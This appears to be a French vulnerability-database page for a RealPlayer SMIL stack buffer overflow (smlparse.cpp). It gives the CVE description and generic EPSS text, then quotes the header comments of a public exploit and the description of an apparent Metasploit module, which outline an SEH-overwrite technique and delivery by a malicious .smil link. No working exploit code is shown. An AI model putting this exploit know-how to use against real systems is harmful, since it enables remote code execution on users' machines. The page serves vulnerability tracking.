Descriptions du CVE
Stack-based buffer overflow in the CSmil1Parser::testAttributeFailed function in smlparse.cpp for RealNetworks RealPlayer 10.5 (6.0.12.1056 and earlier), 10, 8, and RealOne Player V2 and V1 allows remote attackers to execute arbitrary code via a .SMIL file with a large system-screen-size value.

Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |

EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* RealPlayer .smil file buffer overflow
Coded by nolimit@CiSO & Buzzdee
greets to COREiSO & #news & flare & class101 & ESI & RVL & everyone else I forget
This uses a seh overwrite method, which takes advantage of the SEH being placed
in multiple locations over the different OS's. Because of this, it should be
completely universal. :).
Also, we added SEH for enterprise and Standard, if you have a diff 2k3 then deal with it and write your own in.

'Name' => 'RealNetworks RealPlayer SMIL Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in RealNetworks RealPlayer 10 and 8.
By creating a URL link to a malicious SMIL file, a remote attacker could
overflow a buffer and execute arbitrary code.
When using this module, be sure to set the URIPATH with an extension of '.smil'.
This module has been tested with RealPlayer 10 build 6.0.12.883 and RealPlayer 8
build 6.0.9.584.
